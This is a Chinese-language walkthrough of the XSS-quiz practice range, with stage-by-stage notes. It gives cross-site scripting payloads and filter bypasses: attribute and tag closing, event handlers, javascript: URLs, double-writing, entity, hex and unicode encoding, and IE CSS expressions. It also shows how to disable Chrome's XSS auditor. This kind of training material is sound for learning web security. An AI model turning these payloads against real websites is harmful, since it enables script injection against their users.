实验环境介绍
地址:https://xss-quiz.int21h.jp/
该网址是一个可用于XSS攻击的靶场
简单的payload
闭合标签的payload
"
https://xss-quiz.int21h.jp/ 利用XSS过程中会出现下图情况。配置Chrome --args --disable-xss-auditor
在桌面新建一个快捷方式
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor
技巧:ctrl+f 全局搜索输入的内容
闭合引号,尖括号,引入script脚本
payload
123">
onmouseover 鼠标悬停弹出
" onmouseover= " alert(document.domain)>
select元素可创建单选或多选菜单
在select下拉框中输入,闭合标签
Japan
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。 当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上
value 输入字段的初始值
readonly 输入字段为只读(不能修改)
disable 输入字段是禁用的
size 规定输入字段的字符
maxlength 输入字段允许最大长度
修改maxlength的值,达到XSS攻击效果
">
W3C网址:http://www.w3school.com.cn/tags/html_ref_eventattributes.asp
HTML实体 :https://www.w3school.com.cn/html/html_entities.asp
" onmouseover="alert(document.domain)
" onclick="alert(document.domain)
按照上面的闭合思路来进行尝试
" onmouseover= "alert(document.domain)
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。 如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开
javascript:var now = new Date(); "The time is:
" + now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句
javascript:alert("hello world!")
标签定义超链接,用于从一个页面链接到另外一个页面
标签最重要的属性是href属性,它指定链接的目标
在所有浏览器中,链接的默认外观是:
构造特殊无害字符串,响应中寻找字符串
跳过Stage #9,在span标签中添加 οnclick= “alert(document.domain)”
1.双写绕过
">
2.编码绕过
">
在Stage #11演示
tab制表符html十进制编码
">xss
IE中两个反引号``可以闭合一个左边双引号
" `` 可以这样闭合
``οnclick=alert(document.domain)
这个只适用于IE浏览器
CSS层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言。可以修饰页面效果,拿网站 效果演示,修改css看页面效果
background:url("javascript:alert(document.domain);"); 设置背景颜色
官网:https://www.my-debugbar.com/wiki/IETester/HomePage
在IETester中打开Stage #13网址进行测试
在IETester中进行测试,因为各个版本的IE都需要进行测试,Windows10里面自带的IE不会执行
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支
在Stage #14演示
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来
here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;});
here:e\\0xpression(onmouseover=function(){alert(document.domain)})
十六进制介绍
十六进制转换有16进制每一位上可以是从小到大为0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 16个大小不同 的数,即逢16进1,其中A,B,C,D,E,F(字母不区分大小写),这六个字母来分别表示10,11,12,13,14,15
import binascii
s = binascii.b2a_hex(">" .encode("utf8"))
print(s.decode())
print("\\x"+s.decode())
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
unicode介绍
Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字
Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并 且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。
import binascii
s = binascii.b2a_hex(">".encode("utf8"))
print(s.decode())
print("\\u00"+s.decode())
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e